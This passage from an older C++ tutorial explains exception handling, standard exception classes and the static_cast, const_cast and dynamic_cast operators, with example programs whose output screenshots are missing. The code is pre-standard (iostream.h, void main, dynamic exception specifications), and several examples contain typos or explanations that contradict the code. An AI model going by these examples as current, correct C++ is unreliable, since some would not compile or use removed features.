matching exceptions to catch-parameters is slightly different from those for finding an overloaded
function to match a function call.
- We can define a handler for an object of type named Type several different ways. In the following
examples, the variable test is optional, just as the ordinary functions in C++:

catch(Type test)
catch(const Type test)
catch(Type & test)
catch(const Type& test)

- Such handlers can catch exception objects of type Type1 if:

1. Type and Type1 are the same type, or


2. Type is an accessible base class of Type1 at the throw point, or
3. Type and Type1 are pointer types and there exists a standard pointer conversion from Type1
to Type at the throw point. Type is an accessible base class of Type1 if there is an inheritance
path from Type1 to Type with all public derivations.

- For the third rule, let Type1 be a type pointing to type Type2, and Type be a type that points to type
Type3. Then there exists a standard pointer conversion from Type1 to Type if:

1. Type is the same type as Type1, except it may have added any or both of the qualifiers const
and volatile, or
2. Type is void*, or
3. Type3 is an unambiguous, accessible base class of Type2. Type3 is an unambiguous base class
of Type2 if Type2's members can refer to members of Type3 without ambiguity (this is usually
only a concern with multiple inheritance).

- The C++ type conversion is discussed in next Module, Module 22.


- As conclusion, for these rules, the exceptions and catch parameters must either match exactly, or the
exception caught by pointer or reference must be derived from the type of the catch parameter.
- For example, the following exception is not caught:

//mismatch type, throw integer type


//catch the double type...
#include <iostream.h>

void Funct();

int main()
{
try
{ Funct(); }
catch(double)
{ cerr<<"caught a double type..."<<endl; }
return 0;
}

void Funct()
{

www.tenouk.com
//3 is not a double but int
throw 3;
}

Output:

- Change the following statement

throw 3; to throw 4.123;

- Recompile and rerun, the program output should be as follows:

- As a summary, when an exception is thrown, it may be caught by the following types of catch
handlers:

▪ A handler that can accept any type (using the ellipsis syntax).
▪ A handler that accepts the same type as the exception object; because it is a copy, const and
volatile modifiers are ignored.
▪ A handler that accepts a reference to the same type as the exception object.
▪ A handler that accepts a reference to a const or volatile form of the same type as the exception
object.
▪ A handler that accepts a base class of the same type as the exception object; since it is a copy,
const and volatile modifiers are ignored. The catch handler for a base class must not precede the
catch handler for the derived class.
▪ A handler that accepts a reference to a base class of the same type as the exception object.
▪ A handler that accepts a reference to a const or volatile form of a base class of the same type as
the exception object.
▪ A handler that accepts a pointer to which a thrown pointer object can be converted via standard
pointer conversion rules.

- C++ exception is automatically call destructor functions during the stack unwinding process, for all
local objects constructed before the exception was thrown.
- Program example.

//exception, class and destructor


#include <iostream.h>

void TestFunct(void);

//class Test1 declaration...


class Test1
{
public:
Test1(){};
~Test1(){};
const char *TestShow() const
{
cout<<"In class member function *TestShow():\n";
return " Exception in Test1 class.";
}
};

//another class declaration, DestrTest...


class DestrTest

www.tenouk.com
{
public:
DestrTest();
~DestrTest();
};

//constructor class implementation


DestrTest::DestrTest()
{
cout<<"Next, in constructor DestrTest():\n";
cout<<" Constructing the DestrTest...\n";
}

//destructor class implementation


DestrTest::~DestrTest()
{
cout<<"Next, in destructor ~DestrTest():\n";
cout<<" Destructing the DestrTest...\n";
}

void TestFunct()
{
//instantiate an object, constructor invoked...
DestrTest p;
cout<<"Next in TestFunct(): \n Throwing Test1 type exception...\n";
//first throw...
throw Test1();
}

int main()
{
cout<<"Starting in main()...\n";
try
{
cout<<"Now, in the try block: \n Calling TestFunct()...\n";
TestFunct();
}
//instantiate another object, constructor invoked...
catch(Test1 q)
{
cout<<"Next, in catch handler:\n";
cout<<" Caught Test1 type exception...\n";
cout<<q.TestShow()<<"\n";
}
catch(char *strg)
{
cout<<"Caught char pointer type exception: "<<strg<<"\n";
}

cout<<"Back in main...\n";
return 0;
}

Output:

21.6 Exception Processing-Stack Unwinding

www.tenouk.com
- When an exception is thrown, the runtime mechanism first searches for an appropriate matching
handler (catch) in the current scope. If no such handler exists, control is transferred from the current
scope to a higher block in the calling chain or in outward manner.
- Iteratively, it continues until an appropriate handler has been found. At this point, the stack has been
unwound and all the local objects that were constructed on the path from a try block to a throw
expression have been destroyed.
- The run-time environment invokes destructors for all automatic objects constructed after execution
entered the try block. This process of destroying automatic variables on the way to an exception handler
is called stack unwinding.
- During the unwinding the stack , objects on stack are destroyed, local variables, local class objects
destructors are called and program goes back to a normal state.
- The stack unwinding process is very similar to a sequence of return statements, each returning the
same object to its caller.
- In the absence of an appropriate handler, the program terminates. However, C++ ensures proper
destruction of local objects only when the thrown exception is handled. Whether an uncaught exception
causes the destruction of local objects during stack unwinding is implementation-dependent.
- To ensure that destructors of local objects are invoked in the case of an uncaught exception, you can
add a catch(...) statement in main(). For example:

int main()
{
try
{
//throw exceptions...
throw SomeThing;
}
//handle expected exceptions
catch(TheSomething)
{
//handle all the exceptions...
}
//ensure proper cleanup in the case
//of an uncaught exception
catch(...)
{
//catch other things…
}
}

- A throw expression with no operand re-throws the exception currently being handled. Such an
expression should appear only in a catch handler or in a function called from within a catch handler.
- The re-thrown exception object is the original exception object (not a copy). For example:

try
{
throw SomeException();
}

//Handle all exceptions


catch(...)
{
//Respond (perhaps only partially) to exception
//...
//re throw without operand...
//Pass exception to some other handler
throw;
}

- An empty throw statement tells the compiler that the function does not throw any exceptions. For
example:

//empty throw statement


#include <iostream.h>

//this empty throw will be ignored...


void Nothing() throw()
{ cout<<"In Nothing(), empty throw..."<<endl; }

void SomeType() throw(double)


{
cout<<"In SomeType, will throw a double type..."<<endl;
throw(1.234);

www.tenouk.com
}

void main()
{
try
{
Nothing();
SomeType();
}
catch (double)
{ cout<<"Caught a double..."<<endl; }
}

Output:

21.7 Uncaught/Unhandled Exception

- When the system can't find a handler for an exception, it calls the standard library function
terminate(), which by default aborts the program. You can substitute your own termination
function by passing a pointer to it as a parameter to the set_terminate() library function.
- An exception caught by a pointer can also be caught by a void* handler. In the following program
example, exception is caught, since there is a handler for an accessible base class:

#include <iostream.h>
//base class
class Test1 {};
//derived class
class Test2 : public Test1 {};

void Funct();

int main()
{
try
{
//function call, go to Funct()
Funct();
}
catch(const Test1&)
{
cerr<<"Caught a Test1 type, base class..."<<endl;
}
return 0;
}

//throw function definition


//a throw of Test2 type, derived class...
void Funct()
{
throw Test2();
//next, find the catch handler
}

Output:

- Another program example for terminating the try block:

#include <iostream.h>

www.tenouk.com
//exit()
#include <stdlib.h>
//set_terminate()
#include <exception>

void Funct()
{
cout<<"Funct() was called by terminate()."<<endl;
//0-normal exit, non zero-exit with some error
exit(0);
}

int main()
{
try
{
set_terminate(Funct);
//No catch handler for this exception
throw "Out of memory!";
}
catch(int)
{ cout<<"Integer exception raised."<<endl; }
return 0;
}

Output:

21.8 Exception Specifications

- Exception specifications are used to provide summary information about what exceptions can be
thrown out of a function. Exceptions not listed in an exception specification should not be thrown from that
function.
- An exception specification consists of the keyword throw after the function's parameter list, followed
by a list of potential exceptions, for example:

void test(int somecode) throw (bad_code, no_auth);

- An exception specification isn't considered a part of a function's type. Therefore, it doesn't affect
overload resolution. That means pointers to functions and pointers to member functions may contain an
exception specification, for example:

void (*PtrFunct)(double) throw(string, double);

- PtrFunct is a pointer to a function that may throw string or double. You can assign to a
function whose exception specification is as restrictive as, or more restrictive than PtrFunct 's
exception specification.
- An exception specification P is said to be more restrictive than an exception specification Q if the set of
exceptions P contains is a subset of Q's exceptions. In other words, P contains every exception in Q but
not vice versa. For example:

void (*PtrFunct)(double) throw(string, double);



//more restrictive than PtrFunct:
void One(double) throw (string);
//as restrictive as PtrFunct:
void Two(double) throw (string, double);
//less restrictive than PtrFunct:
void Three(double) throw (string, double, bool);
PtrFunct = One; //OK
PtrFunct = Two; //OK
PtrFunct = Three; //error, Three is not subset of the PtrFunct

- A function with no exception-specification allows all exceptions. A function with an empty exception
specification doesn't allow any exceptions, for example:

www.tenouk.com
class Test
{
public:
//may throw any exception
int One(char *VarPtr);
//doesn't throw any exception
int Two(double *VarPtr1) throw();
};

- Exception specifications are enforced at the runtime. When a function violates its exception
specification, unexpected() function is called.
- The unexpected() function invokes a user-defined function that was previously registered by
calling set_unexpected().
- If no function was registered with set_unexpected(), unexpected() calls terminate()
which aborts the program unconditionally.
- The following table summarizes C++'s implementation of exception specifications:

Exception specification Meaning


throw() The function does not throw any exception.
throw(...) The function can throw an exception.
throw(type) The function can throw an exception of type type.

Table 21.2: Exception specification

- The following are examples of the exception specification implementation.

Example Description
void Funct() throw(int) The function may throw an int exception.
void Funct() throw() The function will throw no exceptions.
The function may throw a char* and/or a T, user
void Funct() throw(char*, T)
defined type exception.
void Funct() or
The function may throw anything.
void Funct(...)

Table 21.3: Exception specification example

- If exception handling is used in an application, there must be one or more functions that handle thrown
exceptions.
- Any functions called between the one that throws an exception and the one that handles the exception
must be capable of throwing the exception. However, explicit exception specifications are not allowed
on C functions.

//exception specification
#include <iostream.h>

//handler function
void handler()
{cout<<"In the handler()\n";}

//int throw...
void Funct1(void) throw(int)
{
static int x = 1;
cout<<"Funct1() call #"<<x++<<endl;
cout<<"About to throw 1\n";
if (1)
throw 1;
}
//empty throw...
void Funct5(void) throw()
{
try
{Funct1();}
catch(...)
{handler();}
}

// invalid, doesn't handle the int exception thrown from Funct1()


// void Funct3(void) throw()
// {

www.tenouk.com
// Funct1();
//}

void Funct2(void)
{
try
{Funct1();}
catch(int)
{handler();}
}

//assume extern "C" functions don't throw exceptions


extern "C" void Funct4(void);
void Funct4(void)
{Funct1();}

int main()
{
Funct2();
try
{Funct4();}
catch(...)
{cout<<"Caught exception from Funct4()\n";}
Funct5();
return 0;
}

Output:

21.9 Exception Handling Overhead

- The extra overhead associated with the C++ exception handling mechanism may increase the size of
executable files and slow your program execution.
- So, exceptions should be used only in truly exceptional situations. Exception handlers should not be
used to redirect the program's normal flow of control.
- For example, an exception should not be thrown in cases of potential logic or user input errors, such as
the overflow of an array boundary. In these cases, simply returning an error code by using for example,
the conditional if statement may be simpler and more concise.

21.10 Standard Exceptions

- The C++ exception class serves as the base class for all exceptions thrown by certain expressions
and by the Standard C++ Library.

Class hierarchy Description


exception
bad_alloc Thrown by new, an allocation request fails.
bad_cast Thrown by dynamic_cast when failed cast to a reference type.
Thrown when an exception doesn't match any catch
bad_exception
clause.
bad_typeid
Thrown by typeid operator when the operand for typeid is a NULL
pointer.
The logical errors are normally caused by programmer mistakes.
As the base class for all exceptions thrown to report errors presumably
logic_error detectable before the program executes, such as violations of logical
preconditions.
domain_error As the base class for all exceptions thrown to report a domain error.

www.tenouk.com
invalid_argument As the base class for all exceptions thrown to report an invalid argument.
As the base class for all exceptions thrown to report an attempt to generate
length_error
an object too long to be specified.
As the base class for all exceptions thrown to report an argument that is
out_of_range
out of its valid range.
The run-time errors normally occur because of mistakes in either the library
functions or in the run-time system
As the base class for all exceptions thrown to report errors presumably
runtime_error
detectable only when the program executes.
As the base class for all exceptions thrown to report an arithmetic
overflow_error
overflow.
range_error As the base class for all exceptions thrown to report a range error.
As the base class for all exceptions thrown to report an arithmetic
underflow_error
underflow.
The member class serves as the base class for all exceptions thrown by the
ios_base::failure
member function clear() in template class basic_ios.

Table 21.4: exception class

- Logical and run time errors are defined in Standard C++ <stdexcept> header file and this
<stdexcept> is a derived class from the exception class where the Standard C++ header file is
<exception>.
- Do not confuse with the exception class and <exception> header file, they refer to different
thing here. Header is denoted by the angled bracket < >. Exception class definition is shown below:

class exception
{
public:
exception( ) throw( );
exception(const exception& right) throw( );
exception& operator=(const exception& right) throw( );
virtual ~exception( ) throw( );
virtual const char *what( ) const throw( );
};

- Some functions of the standard C++ library send exceptions that can be caught by including them
within a try block. These exceptions are sent with a class derived from std::exception as their
type. It is better to use these exceptions instead of creating your own, because these exceptions have
been tested.
- Because this is a class hierarchy, if you include a catch block to capture any of the exceptions of this
hierarchy using the argument by reference that is by adding an ampersand, & after the type, you will
also capture all the derived ones.
- Referring to the hierarchy of the exception, exceptions are caught in a bottom-down hierarchy: Specific
derived classes exceptions are handled first, followed by less specific groups of exceptions that is, up to
the base classes and, finally, a catch(...) handler:
- Handlers of the specific derived objects must appear before the handlers of base classes. This is because
handlers are tried in order of appearance. It's therefore possible to write handlers that are never
executed; for example, by placing a handler for a derived class after a handler for a corresponding base
class.
- You can use the classes of standard hierarchy of exceptions to throw your exceptions or derive new
classes from them.
- The following example catches an exception of type bad_typeid (derived from exception) that is
generated when requesting information about the type pointed by a NULL pointer:

//standard exceptions
//program example
#include <iostream.h>
#include <exception>
#include <typeinfo>

class Test1
{
virtual Funct() {};
};

int main ()
{
try {

www.tenouk.com
Test1 * var = NULL;
typeid (*var);
}
catch (std::exception& typevar)
{
cout<<"Exception: "<<typevar.what()<<endl;
}
return 0;
}

Output:

- Another program code segment example:

class out_of_range : public logic_error


{
public:
out_of_range(const string& message);
};

- The value returned by what is a copy of message.


- Program example:

//out_of_range example
#include <string>
#include <iostream>

using namespace std;

int main( )
{
try
{
string strg1("Test");
string strg2("ing");
strg1.append(strg2, 4, 2);
cout<<strg1<<endl;
}
catch (exception &e)
{
cerr<<"Caught: "<<e.what()<<endl;
cerr<<"Type: "<<typeid(e).name()<<endl;
};
return 0;
}

Output

- Other <exception> header members are listed in the following tables.

typedef Description
A type that describes a pointer to a function suitable for use as a
terminate_handler
terminate_handler.
A type that describes a pointer to a function suitable for use as an
unexpected_handler
unexpected_handler.

Table 21.5: <exception> typedef

www.tenouk.com
Member function Description
Establishes a new terminate_handler to be called at the
set_terminate()
termination of the program.
Establishes a new unexpected_handler to be when an
set_unexpected()
unexpected exception is encountered.
terminate() Calls a terminate handler.
uncaught_exception() Returns true only if a thrown exception is being currently processed.
unexpected() Calls an unexpected handler.

Table 21.6: <exception> member function

Class Description
The class describes an exception that can be thrown from an
bad_exception
unexpected_handler.
The class serves as the base class for all exceptions thrown by certain
exception
expressions and by the Standard C++ Library.

Table 21.7: <exception> class member

- Some simple program examples.

//bad_cast
//Need to enable the Run-Time Type Info,
//rtti of your compiler. You will learn
//Typecasting in another Module…
#include <typeinfo.h>
#include <iostream>
using namespace std;

class Myshape
{
public:
virtual void myvirtualfunc() const {}
};

class mytriangle: public Myshape


{
public:
virtual void myvirtualfunc() const
{ };
};

int main()
{
Myshape Myshape_instance;
Myshape &ref_Myshape = Myshape_instance;

try {
//try the run time typecasting, dynamic_cast
mytriangle &ref_mytriangle = dynamic_cast<mytriangle&>(ref_Myshape);
}
catch (bad_cast) {
cout<<"Can't do the dynamic_cast lor!!!"<<endl;
cout<<"Caught: bad_cast exception. Myshape is not mytriangle.\n";
}
}

Output:

//bad_alloc, first version


//the allocation is OK

www.tenouk.com
#include <new>
#include <iostream>
using namespace std;

int main()
{
char* ptr;

unsigned long int Test = sizeof(size_t(0)/3);


cout<<"The size of variable Test = "<<Test<<endl;
try
{
//try some allocation...
//size of an array must not exceed certain bytes
ptr = new char[size_t(0)/3]
delete[] ptr;
}
catch(bad_alloc &thebadallocation)
{
cout<<thebadallocation.what()<<endl;
};
}

Output:

- Let negate/inverse the array size, change the following

sizeof(size_t(0)/3)

- To the following code.

sizeof(~size_t(0)/3)

- Recompile and re run the program, the following output should be expected.

//set_unexpected
#include <exception>
#include <iostream>
using namespace std;

void myfunction()
{
cout<<"Testing myfunction()."<<endl;
//terminate() handler
terminate();
}

int main( )
{
unexpected_handler oldHandler = set_unexpected(myfunction);
//unexpected() function call
unexpected();
}

Output:

- Click the Abort button.

www.tenouk.com
- The following example shows the typeid operator throwing a bad_typeid exception.

//bad_typeid
#include <typeinfo.h>
#include <iostream>
using namespace std;

class Test
{
public:
//object for a class needs vtable
//for the rtti...
Test();
virtual ~Test();
};

int main()
{
Test *ptrvar = NULL;

try {
//the error condition
cout<<typeid(*ptrvar).name()<<endl;
}
catch (bad_typeid){
cout<<"The object is NULL"<<endl;
}
}

Output:

//domain_error and typeid()


#include <iostream>
using namespace std;

int main()
{
try
{
throw domain_error("Some error with your domain!");
}
catch (exception &err)

www.tenouk.com
{
cerr<<"Caught: "<<err.what()<<endl;
cerr<<"Type: "<<typeid(err).name()<<endl;
};
}

Output:

//invalid_argument
#include <bitset>
#include <iostream>
using namespace std;

int main()
{
try
{
//binary wrongly represented by char X
//template based…
bitset<32> bitset(string("0101001X01010110000"));
}
catch (exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}

Output:

//runtime_error
#include <iostream>
using namespace std;

int main()
{
//runtime_error
try
{
locale testlocale("Something");
}
catch(exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}

Output:

//overflow_error

www.tenouk.com
//storage reserved is not enough
#include <bitset>
#include <iostream>
using namespace std;

int main()
{
try
{
//template based…
bitset<100> bitset;
bitset[99] = 1;
bitset[0] = 1;
//to_ulong(), converts a bitset object to the integer
//that would generate the sequence of bits
unsigned long Test = bitset.to_ulong();
}
catch(exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}

Output:

//range_error
#include <iostream>
using namespace std;

int main()
{
try
{
throw range_error("Some error in the range!");
}
catch(exception &Test)
{
cerr<<"Caught: "<<Test.what()<<endl;
cerr<<"Type: "<<typeid(Test).name()<<endl;
};
}

Output:

//underflow_error
//negative storage...
#include <iostream>
using namespace std;

int main()
{
try
{
throw underflow_error("The negative storage?");
}
catch(exception &Test)
{
cerr<<"Caught: "<<Test.what()<<endl;
cerr<<"Type: "<<typeid(Test).name()<<endl;
};

www.tenouk.com
}

Output:

- Program example compiled using g++.

//***********-except.cpp-***********
//exception, class and destructor
#include <iostream>
using namespace std;

void TestFunct(void);

//class Test1 declaration...


class Test1
{
public:
Test1(){};
~Test1(){};
const char *TestShow() const
{
cout<<"In class member function *TestShow():\n";
return " Exception in Test1 class.";
}
};

//another class declaration, DestrTest...


class DestrTest
{
public:
DestrTest();
~DestrTest();
};

//constructor class implementation


DestrTest::DestrTest()
{
cout<<"Next, in constructor DestrTest():\n";
cout<<" Constructing the DestrTest...\n";
}

//destructor class implementation


DestrTest::~DestrTest()
{
cout<<"Next, in destructor ~DestrTest():\n";
cout<<" Destructing the DestrTest...\n";
}

void TestFunct()
{
//instantiate an object, constructor invoked...
DestrTest p;
cout<<"Next in TestFunct(): \n Throwing Test1 type exception...\n";
//first throw...
throw Test1();
}

int main()
{
cout<<"Starting in main()...\n";
try
{
cout<<"Now, in the try block: \n Calling TestFunct()...\n";
TestFunct();
}
//instantiate another object, constructor invoked...
catch(Test1 q)
{
cout<<"Next, in catch handler:\n";
cout<<" Caught Test1 type exception...\n";

www.tenouk.com
cout<<q.TestShow()<<"\n";
}
catch(char *strg)
{
cout<<"Caught char pointer type exception: "<<strg<<"\n";
}
cout<<"Back in main...\n";
return 0;
}

[bodo@bakawali ~]$ g++ except.cpp -o except


[bodo@bakawali ~]$ ./except

Starting in main()...
Now, in the try block:
Calling TestFunct()...
Next, in constructor DestrTest():
Constructing the DestrTest...
Next in TestFunct():
Throwing Test1 type exception...
Next, in destructor ~DestrTest():
Destructing the DestrTest...
Next, in catch handler:
Caught Test1 type exception...
In class member function *TestShow():
Exception in Test1 class.
Back in main...

--------------------------------------o0o---------------------------------

Further reading and digging:

1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.

www.tenouk.com
MODULE 22
TYPECASTING

My Training Period: hours

Abilities

▪ Understand the type casting.


▪ Understand and use static_cast, const_cast, dynamic_cast and reinterpret_cast.
▪ Understand and use the explicit keyword.

22.1 C Typecasting

- Typecasting is used to convert the type of a variable, function, object, expression or return value to
another type.
- Throughout this tutorial you have encountered many codes that use simple C-style type cast.
- One of the said advantageous of C++ is the type safe feature. During the compile or run time there are
type checking process that not available in C. This can avoid a lot of program bugs and unexpected
logical errors.
- In C an expression, expression, of type type, can be cast to another type by using the following
syntax:

(type) expression or
//look like a function :o) isn’t it?
type (expression)

- For example:

int p;
double dou;

//same as p = int (dou);


p = (int) dou;

- The previous example used the explicit type conversion that is done by programmers. Integral type
promotion and demotion (automatic type casting, as explained in Module 2); is the implicit type
conversion.
- What ever it is, explicit type conversion should be adopted for good programming habits such as for
troubleshooting and readability.
- The weaknesses in C type cast are listed below:

▪ The syntax is same for every casting operation from simple variables to objects and classes.
For complex type casting, we as well as compiler don’t know the intended purpose of the
casting and this will create ambiguity.
▪ When we do the debugging, it is very difficult to locate the related cast problems, although by
using the tools provided by the compiler, because there are many codes that use parentheses.
▪ It allows us to cast practically any type to any other type. This can create many program
bugs. If the program compiled and run successfully, the result still can contain logical errors.

- The four type casting operators in C++ with their main usage is listed in the following table:

Type caster keyword Description


static_cast To convert non polymorphic types.
const_cast To add or remove the const-ness or volatile-ness type.
dynamic_cast To convert polymorphic types.
reinterpret_cast For type conversion of unrelated types.

Table 22.1: Type caster

- The syntax is same for the four type cast except the cast name:

name_cast<new_type> (expression)

- Where:

www.tenouk.com
name_cast either one of the static, const, dynamic or reinterpret
new_type The result type of the cast.
expression Expression to be cast

22.2 static_cast

- It allows casting a pointer of a derived class to its base class and vice versa. This cast type uses
information available at compile time to perform the required type conversion.
- The syntax is:

name_cast<new_type> (expression)

- If new_type is a reference type, the result is an lvalue; otherwise, the result is an rvalue
- Explicitly can be used to perform conversion defined in classes as well as performing standard
conversion between basic data types, for example:

int p;
double dou;

p = static_cast<int> (dou);

- Program example:

#include <iostream.h>
#include <stdlib.h>

int main()
{

int sum = 1000;


int count = 21;

double average1 = sum/count;


cout<<"Before conversion = "<<average1<<endl;

double average2 = static_cast<double>(sum)/count;

cout<<"After conversion = "<<average2<<endl;


system("pause");
return 0;
}

Output:

- Other usage of the static_cast includes the conversion of int to enum, reference of type P& to
Q&, an object of type P to an object of type Q and a pointer to member to another pointer to member
within the same class hierarchy.
- You also can convert any expression to void using static_cast, which the value of the expression
is discarded.
- static_cast cannot be used to convert the const-ness and volatile-ness (cv qualification),
use const_cast instead and polymorphic types.
- An integral type to enumeration conversion can be done using static_cast. The conversion results
in an enumeration with the same value as the integral type provided the integral type value is within the
range of the enumeration. The value that is not within the range should be undefined.
- Keep in mind that, static_cast is not as safe as dynamic_cast, because it does not have the run
time check, for example, for ambiguous pointer, static_cast may return successful but a
dynamic_cast pointer will fail.
- Program example:

www.tenouk.com
#include <iostream.h>
#include <stdlib.h>

//enum data type


enum color {blue, yellow, red, green, magenta};

int main()
{
int p1 = 3;

cout<<"integer type, p1 = "<<p1<<endl;


cout<<"color c1 = static_cast<color> (p1)"<<endl;
color c1 = static_cast<color> (p1);
cout<<"enum type, c1 = "<<c1<<endl;

system("pause");
return 0;
}

Output:

22.3 const_cast

- This cast type is used to add to or remove the const-ness or volatile-ness of the expression.
- The syntax is:

const_cast<new_type> (expression)

- new_type and expression must be of the same type except for const and volatile
modifiers. Casting is resolved at compile time and the result is of type new_type.
- A pointer to const can be converted to a pointer to non-const that is in all other respects an identical
type. If successful, the resulting pointer refers to the original object.
- A const object or a reference to const cast results in a non-const object or reference that is
otherwise an identical type.
- The const_cast operator performs similar typecasts on the volatile modifier. A pointer to
volatile object can be cast to a pointer to non-volatile object without otherwise changing the
type of the object. The result is a pointer to the original object. A volatile-type object or a reference
to volatile-type can be converted into an identical non-volatile type.
- Simple integral program example of removing the const-ness:

//demonstrates const_cast
#include <iostream.h>
#include <stdlib.h>

int main()
{
//p = 10 is a constant value, cannot be modified
const int p = 20;

cout<<"const p = "<<p<<"\nq = p + 20 = "<<(p + 20)<<endl;


//The following code should generate error, because
//we try to modify the constant value...
//uncomment, recompile and re run, notice the error...
//p = 15;
//p++;

//remove the const...


int r = const_cast<int&> (p);
//the value of 10 should be modified now...
--r;
cout<<"Removing the const, decrement by 1,\nNew value = "<<r<<endl;
system("pause");
}

www.tenouk.com
Output:

- Another simple program example:

//Demonstrate const_cast
#include <iostream.h>
#include <stdlib.h>

struct One
{
//test function...
void funct1()
{ cout<<"Testing..."<<endl;}
};

//const argument, cannot be modified...


void funct2(const One& c)
{
//will generate warning/error...
c.funct1();
}

int main()
{
One b;

funct2(b);
system("pause");
return 0;
}

- We have to remove the const of the argument. Change c.funct1(); to the following statements
recompile and rerun the program.

//remove the const...


One &noconst = const_cast<One&> (c);
cout<<"The reference = "<<&noconst<<endl;
noconst.funct1():

Output:

- Another program example.

//Demonstrates type casting


#include <iostream.h>
#include <stdlib.h>

double funct1(double& f)
{
//do some work here...
f++;
cout<<"f = "<<f<<endl;
//return the incremented value...
return f;
}

www.tenouk.com
//const argument, can't be modified...
void funct2(const double& d)
{
cout<<"d = "<<d<<endl;
//remove const...
//use the non-const argument, making function call...
double value = funct1(const_cast<double&> (d));
//display the returned value...
cout<<"value = "<<value<<endl;
}

int main()
{
double c = 4.324;

//first function call...


funct2(c);
system("pause");
return 0;
}

Output:

- volatile and const removal program example:

//Demonstrate type casting


#include <iostream.h>
#include <stdlib.h>

class One
{
public:
void funct()
{cout<<"Testing..."<<endl;};
};

//const and volatile...


const volatile int* Test1;
//const...
const int* Test2;

void TestConstVol()
{
One Test3;

//remove const...
const_cast<One&>(Test3).funct();
//remove const and volatile...
const_cast<int*> (Test1);
}

int main()
{
TestConstVol();
system("pause");
return 0;
}

Output:

www.tenouk.com
- Removing the const this pointer program example

//removing the const-ness of the


//this pointer
#include <iostream.h>
#include <stdlib.h>

class Test
{
public:
void GetNumber(int);
//Read only function...
void DisplayNumber() const;

private:
int Number;
};

void Test::GetNumber(int Num)


{Number = Num;}

void Test::DisplayNumber() const


{
cout<<"\nBefore removing const-ness: "<<Number;
const_cast<Test*>(this)->Number+=2;
cout<<"\nAfter removing const-ness: "<<Number<<endl;
}

int main()
{
Test p;

p.GetNumber(20);
p.DisplayNumber();

system("pause");
return 0;
}

Output:

- This function const-ness removal also can be achieved by using the mutable specifier.
- Program example using mutable keyword to modify the const function member variable.

//using mutable to remove the


//const-ness of the function...
#include <iostream.h>
#include <stdlib.h>

class Test
{
//using mutable
mutable int count;
mutable const int* ptr;
public:
//Read only function can't
//change const arguments.
int funct(int num = 10) const
{
//should be valid expression...
count = num+=3;
ptr = &num;
cout<<"After some operation, the new value: "<<*ptr<<endl;
return count;
}
};

www.tenouk.com
int main(void)
{
Test var;
cout<<"Initial value of the argument is: 10"<<endl;
var.funct(10);
system("pause");
return 0;
}

Output:

22.4 dynamic_cast

Note:
For this part, you must enable the Run-Time Type Information (RTTI) setting of your compiler
:o). For Visual C++ .Net: Project menu → your_project_name Properties… → C / C++
folder → Language setting.

- This cast is exclusively used with pointers and references to objects for class hierarchy navigation.
- The syntax:

dynamic_cast<new_type> (expression)

- That means converts the operand expression to an object of type, new_type. The new_type
must be a pointer or a reference to previously defined class type or a pointer to void. The type of
expression must be a pointer if new_type is a pointer or lvalue if new_type is a reference.
- It can be used to cast from a derived class pointer to a base class pointer (upcasting), cast a derived
class pointer to another derived (sibling) class pointer (crosscast) or cast a base class pointer to a
derived class pointer (downcast).
- Differing from other cast, dynamic_cast operator is part of the C++ run time type information
(rtti) tally to the term dynamic instead of static, hence it usage closely related to the polymorphic
classes, classes which have at least one virtual function.
- As you have learned, for non-polymorphic class, use the static_cast.
- The validity or safety of the type casting is checked during the run time, if the pointer being cast is not a
pointer to a valid complete object of the requested type, the value returned is a NULL pointer.

www.tenouk.com
- It is safe if the object being pointed to is of type derived class. The actual object is said to be the
complete object. The pointer to the base class is said to point to a sub-object of the complete object.
- The following diagram is the simple class hierarchy. There are base and derived classes. Derived class
is the class that inherits the base class(s) member variable(s) and function(s) with restrictions
implemented using public, private or protected keywords.

Figure 22.1: Simple class hierarchy

- An object of class C could be depicted as the following diagram. For class C instance, there is a B and
A sub-objects. The instance of class C, including the A and B sub-objects, is the complete object.

Figure 22.2: Class C with sub-objects B and A

- Type conversion from base class pointer to a derived class pointer is called downcast.
- Type conversion from derived class pointer to a base class pointer, is called upcast.
- Another one is crosscast, a cast from a class to a sibling class in class hierarchy or sibling class. Two
classes are siblings if a class is directly or indirectly derived from both of their base classes and one is
not derived from the other. It is a multi inheritance class hierarchy.
- Let do some experiment through program examples starting from the upcasting.

Figure 22.3: Upcasting, from Derived2 to Derived1/Base1

//upcast conversion using dynamic_cast


#include <iostream.h>
#include <stdlib.h>

//base class
class Base1 {};

//derived class...
class Derived1:public Base1 {};

//another derived class


class Derived2:public Derived1{};

//dynamic_cast test function...


void funct1()
{
//instantiate an object…
Derived2* Test1 = new Derived2;

//upcasting, from derived class to base class,


//Derived1 is a direct from Base1
//making Test2 pointing to Derived1 sub-object of Test1

www.tenouk.com
Derived1* Test2 = dynamic_cast<Derived1*>(Test1);
cout<<"Derived1* Test2 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test2)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

//upcasting, from derived class to base class


//Derived2 is an indirect from Base1
Base1* Test3 = dynamic_cast<Derived1*>(Test1);
cout<<"\nBase1* Test3 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
}

int main()
{
funct1();
system("pause");
return 0;
}

Output:

Figure 22.4: void* type, from base to base class

- void* type conversion program example.

//If new_name is void*, the result of


//conversion is a pointer to the complete
//object pointed to by the expression

//void* and dynamic_cast


#include <iostream.h>
#include <stdlib.h>

//base class
class Base1
{
public:
virtual void funct1(){};
};

//another base class...


class Base2
{
public:
virtual void funct2(){};
};

//dynamic_cast test function...


void funct3()
{
//instantiate objects…
Base1 * Test1 = new Base1;
Base2 * Test2 = new Base2;

//making Test3 pointing to an object of type Base1


void* Test3 = dynamic_cast<void*>(Test1);

www.tenouk.com
cout<<"void* Test3 = dynamic_cast<void*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

//making Test3 pointing to an object of type Base2


Test3 = dynamic_cast<void*>(Test2);
cout<<"\nTest3 = dynamic_cast<void*>(Test2);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
}

int main()
{
funct3();
system("pause");
return 0;
}

Output:

